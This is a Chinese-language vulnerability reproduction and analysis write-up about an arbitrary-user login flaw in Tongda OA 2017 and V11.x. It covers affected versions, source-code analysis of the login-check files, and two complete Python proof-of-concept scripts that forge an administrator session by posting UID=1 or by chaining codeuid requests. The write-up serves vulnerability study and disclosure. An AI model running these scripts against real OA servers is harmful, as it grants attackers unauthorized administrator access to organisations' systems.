通达OA前台任意用户登录漏洞复现分析
漏洞概述
通达OA是一套国内常用的办公系统,其此次安全更新修复的高危漏洞为任意用户登录漏洞。攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系统(包括系统管理员)。
影响版本
通达OA 2017
通达OA V11.X<V11.5
环境搭建
exe直接搭,自己指定目录,2017版本,V10.13
漏洞复现
使用poc获取session
访问/general/index.php并替换PHPSESSID
就直接成功登陆管理员账户了
一些废话
看了下poc,2017的v10版本和v11.x版本再漏洞点上是有区别的。
之前不太了解OA系统,然后源代码是看不了的,打开是乱码,16进制数据头是Zend
百度发现是通过Zend的加密方式,了解了下Zend引擎。
网上找了下解密的,都是太老的了,没用。
噢?在最后看了一些OA代码审计的,找到几个解密的。明天整起来
如果想看下分析的话可以看下Q1ngShan师傅写的
https://www.evi1s.com/archives/194/
漏洞分析
2017_第一种
这里就分析下V10.13的
2017 V10.13版本中/logincheck_code.php也存在问题
直接获取POST UID参数,并且没有任何过滤,直接带进SQL语句查询
$query = "SELECT * from USER where UID='$UID'";
分析都是说UID为1是admin,这里进入mysql5目录,查看my.ini获取密码
进入TO_OA数据库,查询上述语句,查看结果
确实是admin,管理员用户。接着回到logincheck_code.php
172行-178行的赋值
$LOGIN_UID = $UID; $LOGIN_USER_ID = $USER_ID; $LOGIN_BYNAME = $BYNAME; $LOGIN_USER_NAME = $USERNAME; $LOGIN_ANOTHER = "0"; $LOGIN_USER_PRIV_OTHER = $USER_PRIV_OTHER; $LOGIN_DEPT_ID_JUNIOR = GetUnionSetOfChildDeptId($LOGIN_DEPT_ID . "," . $LOGIN_DEPT_ID_OTHER); $LOGIN_CLIENT = 0;
都是上面24行开始,sql查询返回的数据
180行-196行,将上述赋值的变量传入SESSION中
也就是当我们在logincheck_code.php中POST传入UID=1
经过logincheck_code.php的SQL查询操作,直接将返回admin认证的SESSION到当前的SESSION中
这时可以带着当前的SESSION到/general/index.php中,直接是admin管理员用户。这个如果看了上Q1ngShan的分析,可以发现11.3也存在这样的问题。11.4中logincheck_code.php增加了验证机制,不够也可以绕过。后面在分析。
poc:
#来自Q1ngShan
import requests import json headers={} def getV11Session(url): checkUrl = url+'/general/login_code.php' print(checkUrl) try: headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)" getSessUrl = url+'/logincheck_code.php' res = requests.post( getSessUrl, data={ 'UID': int(1)},headers=headers) print('[+]Get Available COOKIE:'+res.headers['Set-Cookie']) except: print('[-]Something Wrong With '+url) if __name__ == "__main__": getV11Session("http://xxxxx/")
同样适用于v11.3
2017_第二种
可以看到Space师傅写的2017的poc中并没有用这种方式
问题在/ispirit/login_code_check.php上
和上面的根目录中的logincheck_code.php基本是一样的,只不过换了一些参数,还是直接将UID带入sql查询,但是这里UID并不是直接POST,而是需要将获得的codeuid经过一系列操作,然后赋值给UID
也就是说,如果我们get传入合适的codeuid,并且令$code_info[‘uid’]的值为1,呢么经过上面的验证到达SQL查询,然后返回的就是admin的相关参数,传入session中,这时的session认证后就是admin用户了。
这里经过了两个TD:get_cache才能进入的判断,第一个是CODE_LOGIN_PC,第二个是CODE_INFO_PC
这里我们搜索一下CODE_INFO_PC
在/general/login_code_scan.php中可利用的点
这里我差点搞混了,v10.13和v11.4在logincheck_code上是不一样的。差点搞混了。
到这里后,这里应该是倒数第三步,在这里我们需要输入一个codeuid,经过TD::set_cache后的codeuid就可以用在/ispirt/logincheck_code.php上,然后再写绕过判断写入SESSION,最后拿到的SESSION就是admin用户的了。
这里需要一步,如何拿到codeuid,因为看上文就可以看到,codeuid并不是随便输入的,是有特定的序列的。
我们在/ispirt/login_code.php中可以找到产生一个特定的codeuid
这一步步其实都是反推来的。
梳理下流程是这样的:
- 进入
ispirit/login_code.php
获取codeuid
- 使用获取的
codeuid
进入general/login_code_scan.php
设置type为confirm
- 使用
codeuid
进入ispirit/login_code_check.php
获得一个唯一的codeuid
经过TD::set_cache处理后的codeuid
admin相关认证数据写入session,带着这个session访问/general/index.php,就是admin管理用户
poc:
#来自Q1ngShan import json import requests def getSession(url): vulUrl = url+'/ispirit/login_code.php' res = requests.get(vulUrl) codeuid = json.loads(res.text)['codeuid'] print(codeuid) confirmUrl = url + '/general/login_code_scan.php' data = { 'codeuid':codeuid, 'uid': int(1), 'source': 'pc', 'type': 'confirm', 'username': 'admin', } res = requests.post(confirmUrl,data=data) status = json.loads(res.text)['status'] print(status) if status == str(1): seesionUrl = url + '/ispirit/login_code_check.php?codeuid='+codeuid res = requests.get(seesionUrl) print('[*]cookie:'+res.headers['Set-Cookie']) else: print('[-]failed') if __name__ == "__main__": getSession('http://xxxx/')
同样适用于V11.4
环境:
2017 v10.13
链接:https://pan.baidu.com/s/1PyA3PI3BvCvX2fx-4tjagw
提取码:7ac0
v11.4
https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe